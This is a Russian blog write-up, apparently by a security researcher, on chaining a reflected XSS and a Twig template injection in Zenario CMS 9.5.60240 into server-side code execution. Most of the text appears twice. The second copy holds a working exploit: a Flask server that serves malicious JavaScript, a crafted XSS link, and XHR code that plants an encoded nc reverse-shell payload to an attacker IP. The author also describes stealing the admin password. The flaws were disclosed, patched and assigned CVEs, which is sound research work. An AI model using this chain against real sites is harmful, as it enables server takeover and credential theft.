Всем привет.
Как-то скучным зимним вечером мне захотелось получить своих персональных CVE.
Для этого я стал выбирать CMS, которые хочу потестить и мой выбор пал на CMS Zenario.
Почему на эту CMS? Она мало известна, написана на PHP, при этом она постоянно патчится, то есть актуальна.
Забегая вперёд - разрабы этой CMS оперативно реагируют на репорты и открыты к общению.
Эта CMS мало известна в РФ, но в настоящее время поддерживается и у кого-то пользуется спросом.
Поиск уязвимостей.
И так, первым делом я разверну эту CMS на своем сервере.
Для эксперимента я выбрал ОС Ubuntu 22.04 TLS.
Уязвимая версия Zenario — 9.5.60240.
Процесс развертывания описывать не буду, можете найти его сами на
Установка CMS происходила в точности, как указано в руководстве.
После установки не забудьте добавить свой сайт в /etc/hosts.
Сразу после установки в браузере доступен сайт и админка:
Админка:
Давайте походим по админке и поищем типичные уязвимости.
Мы быстро найдём XSS:
XSS-ок там было несколько, в том числе stored, но нас, как потенциального злоумышленника без доступа к админке, сейчас интересуют reflected XSS.
В дальнейшем эту ссылку с XSS мы подсунем админу и будем от его имени делать всякое нехорошее.
Что именно нехорошее? Надо искать.
Ищем уязвимости, которые приведут к выполнению кода на стороне сервера.
В документации к CMS указано, что тут используется шаблонизатор Twig. Кроме того, изучив функционал админки, можно найти такую форму:
Там внизу справа есть чек-бокс, которым можно включить Twig. Пробуем пэйлоад:
Переходим на сайт и видим, что пэйлоад отработал:
Итого, у нас есть XSS + SSTI. Объединим эти уязвимости и напишем эксплойт.
Эксплуатация.
С помощью XSS украсть куки админа не получится, так как для кук установлен флаг HttpOnly:
Но это не такая уж проблема. Мы можем с помощью XSS, например, подменить страницу логина в админку и стащить таким образом пароль.
Кроме того можем тащить любую инфу из админки и отправлять ее на свой сервер. После того, как админ введет логин и пароль, выполним SSTI и получим реверс-шелл.
Эксплойт будет состоять из двух частей. Первая — это javascript-файл, который будет делать всю грязную работу. Вторая — это веб-сервер, с которого будет подтягиваться вредоносный javascript.
Начнем с веб-сервера. Он будет на python с использованием фрэймворка Flask.
Наша жертва должна получить наш javascript, пропишем маршрут:
Если мы захотим получать креды админа, данные со страниц админки, еще какую-то инфу, то нужно будет реализовать функции для приема этих данных.
Запускаем сервер на порту 80:
Приступаем к javascript. Я ни разу не разработчик, поэтому если кому-то мой код будет причинять боль, прошу понять и простить. Мне главное, чтоб работало )
Перед нами стоит задача — сделать такой запрос от имени админа, который добавит наш пэйлоад в нужную форму, сохранит эти данные и затем стриггерит выполнение пэйлоада.
Но сначала создадим нужную ссылку, не будем же мы ему отправлять алерт.
Ссылка будет выглядеть так:
Далее включаем Burp и смотрим, как выполняются нужные нам запросы. Запрос на сохранение пэйлоада выглядит как-то так:
Внутри тела запроса можно найти пэйлоад, который нами контролируется. Попробуем его отправить с помощью javascript.
Сначала определим пэйлоад:
Затем функцию SSTI, которая сохранит нашу полезную нагрузку и выполнит её:
Тут вы видите, что в js отправляется три запроса XHR. Объясню почему.
Первый запрос — добавление полезной нагрузки в форму.
Второй запрос — сохранение (подтверждение) данных в форме.
Третий запрос — активация нашей полезной нагрузки.
Если просто переотправить запрос из Burp, то нагрузка не сработает. Ответ придет такой:
Обратите внимание на отправку заголовка Referer.
Тут еще было несколько проблем, которые нужно было решить в целях успешной эксплуатации, но я их не раскрываю в статье намеренно.
Теперь попробуем всё вместе. Я у себя реализовал и кражу пароля, определение версии, сбор данных из админки.
После запуска сервера отправляем ссылку админу и надеемся, что он по ней перейдёт. Если перешёл, то:
Данные уязвимости были исправлены, вендор оказался отзывчивым.
Уязвимостям были присвоены CVE:
Всем салют! )
Как-то скучным зимним вечером мне захотелось получить своих персональных CVE.
Для этого я стал выбирать CMS, которые хочу потестить и мой выбор пал на CMS Zenario.
Почему на эту CMS? Она мало известна, написана на PHP, при этом она постоянно патчится, то есть актуальна.
Забегая вперёд - разрабы этой CMS оперативно реагируют на репорты и открыты к общению.
Эта CMS мало известна в РФ, но в настоящее время поддерживается и у кого-то пользуется спросом.
Поиск уязвимостей.
И так, первым делом я разверну эту CMS на своем сервере.
Для эксперимента я выбрал ОС Ubuntu 22.04 TLS.
Уязвимая версия Zenario — 9.5.60240.
Процесс развертывания описывать не буду, можете найти его сами на
Ссылка скрыта от гостей
.Установка CMS происходила в точности, как указано в руководстве.
После установки не забудьте добавить свой сайт в /etc/hosts.
Сразу после установки в браузере доступен сайт и админка:
Админка:
Давайте походим по админке и поищем типичные уязвимости.
Мы быстро найдём XSS:
XSS-ок там было несколько, в том числе stored, но нас, как потенциального злоумышленника без доступа к админке, сейчас интересуют reflected XSS.
В дальнейшем эту ссылку с XSS мы подсунем админу и будем от его имени делать всякое нехорошее.
Что именно нехорошее? Надо искать.
Ищем уязвимости, которые приведут к выполнению кода на стороне сервера.
В документации к CMS указано, что тут используется шаблонизатор Twig. Кроме того, изучив функционал админки, можно найти такую форму:
Там внизу справа есть чек-бокс, которым можно включить Twig. Пробуем пэйлоад:
Переходим на сайт и видим, что пэйлоад отработал:
Итого, у нас есть XSS + SSTI. Объединим эти уязвимости и напишем эксплойт.
Эксплуатация.
С помощью XSS украсть куки админа не получится, так как для кук установлен флаг HttpOnly:
Но это не такая уж проблема. Мы можем с помощью XSS, например, подменить страницу логина в админку и стащить таким образом пароль.
Кроме того можем тащить любую инфу из админки и отправлять ее на свой сервер. После того, как админ введет логин и пароль, выполним SSTI и получим реверс-шелл.
Эксплойт будет состоять из двух частей. Первая — это javascript-файл, который будет делать всю грязную работу. Вторая — это веб-сервер, с которого будет подтягиваться вредоносный javascript.
Начнем с веб-сервера. Он будет на python с использованием фрэймворка Flask.
Python:
from flask import Flask, request, send_file
app = Flask(__name__)
log = logging.getLogger('werkzeug')
log.disabled = True
Наша жертва должна получить наш javascript, пропишем маршрут:
Python:
# Маршрут, по которму жертва получит файл с XSS
@app.route('/client.js', methods=['GET'])
def clientjs():
print("[+] Sending Payload")
return send_file('./client.js')
Если мы захотим получать креды админа, данные со страниц админки, еще какую-то инфу, то нужно будет реализовать функции для приема этих данных.
Запускаем сервер на порту 80:
Python:
app.run(host='0.0.0.0', port=80)
Приступаем к javascript. Я ни разу не разработчик, поэтому если кому-то мой код будет причинять боль, прошу понять и простить. Мне главное, чтоб работало )
Перед нами стоит задача — сделать такой запрос от имени админа, который добавит наш пэйлоад в нужную форму, сохранит эти данные и затем стриггерит выполнение пэйлоада.
Но сначала создадим нужную ссылку, не будем же мы ему отправлять алерт.
Ссылка будет выглядеть так:
http://zenariosite.com/zenario/admin/tree_explorer/index.php?type=section&id=<script type="text/javascript" src=http://192.168.56.102/client.js></script>
Далее включаем Burp и смотрим, как выполняются нужные нам запросы. Запрос на сохранение пэйлоада выглядит как-то так:
Внутри тела запроса можно найти пэйлоад, который нами контролируется. Попробуем его отправить с помощью javascript.
Сначала определим пэйлоад:
JavaScript:
var rce_payload = "%5B%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.56.101%204444%20%3E%2Ftmp%2Ff%27%5D%7Cfilter%28%27system%27%29"
Затем функцию SSTI, которая сохранит нашу полезную нагрузку и выполнит её:
JavaScript:
function ssti() {
xhr1 = new XMLHttpRequest();
body1 = '_fill=true' + encodeURIComponent(name);
xhr1.open("POST", '/zenario/admin/admin_boxes.ajax.php?path=site_settings&id=head_and_foot', true);
xhr1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// для успешного выполнения запроса нужен заголовок Referer, но его нельзя отправить через XHR
xhr1.send(body1);
xhr1.onload = function() {
pass = JSON.parse(xhr1.response)._sync.password;
pass = pass.replaceAll('=', '~3D')
pass = pass.replaceAll('+', '~2B')
pass = pass.replaceAll('/', '~2F')
cache_dir = JSON.parse(xhr1.response)._sync.cache_dir;
iv = JSON.parse(xhr1.response)._sync.iv;
xhr2 = new XMLHttpRequest();
body2 = '_save=true&_confirm=1&_save_and_continue=0&_box=' +
'%7B%22tabs%22%3A%7B%22head%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22description%22%3A%7B%7D%2C%22sitewide_head%22%3A%7B%22current_value%22%3A%22~~7B~7B' +
rce_payload +
'~7D~7D%22%7D%2C%22sitewide_head.is_twig%22%3A%7B%22current_value%22%3Atrue%7D%7D%7D%2C%22body%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22description%22%3A%7B%7D%2C%22sitewide_body%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22sitewide_body.is_twig%22%3A%7B%22current_value%22%3A0%7D%7D%7D%2C%22foot%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22description%22%3A%7B%7D%2C%22sitewide_foot%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22sitewide_foot.is_twig%22%3A%7B%22current_value%22%3A0%7D%7D%7D%2C%22cookie_content%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22sitewide_analytics_html_location%22%3A%7B%22current_value%22%3A%22~head%22%7D%2C%22sitewide_analytics_html%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22sitewide_analytics_html.is_twig%22%3A%7B%22current_value%22%3A0%7D%2C%22sitewide_social_media_html_location%22%3A%7B%22current_value%22%3A%22~head%22%7D%2C%22sitewide_social_media_html%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22sitewide_social_media_html.is_twig%22%3A%7B%22current_value%22%3A0%7D%7D%7D%7D%2C%22_sync%22%3A%7B%22cache_dir%22%3A%22~' +
cache_dir +
'%22%2C%22password%22%3A%22~' +
pass +
'%22%2C%22iv%22%3A%22~' +
iv +
'%22%2C%22session%22%3Afalse%7D%2C%22tab%22%3A%22~head%22%7D'
xhr2.open("POST", '/zenario/admin/admin_boxes.ajax.php?path=site_settings&id=head_and_foot', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
window.history.replaceState(null, '', '')
xhr2.send(body2);
// Запрос к главной странице сайта, чтоб отработал SSTI
xhr3 = new XMLHttpRequest();
xhr3.open("GET", '/', true);
xhr3.send();
};
}
Тут вы видите, что в js отправляется три запроса XHR. Объясню почему.
Первый запрос — добавление полезной нагрузки в форму.
Второй запрос — сохранение (подтверждение) данных в форме.
Третий запрос — активация нашей полезной нагрузки.
Если просто переотправить запрос из Burp, то нагрузка не сработает. Ответ придет такой:
Обратите внимание на отправку заголовка Referer.
Тут еще было несколько проблем, которые нужно было решить в целях успешной эксплуатации, но я их не раскрываю в статье намеренно.
Теперь попробуем всё вместе. Я у себя реализовал и кражу пароля, определение версии, сбор данных из админки.
После запуска сервера отправляем ссылку админу и надеемся, что он по ней перейдёт. Если перешёл, то:
Данные уязвимости были исправлены, вендор оказался отзывчивым.
Уязвимостям были присвоены CVE:
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Всем салют! )
Вложения
Последнее редактирование: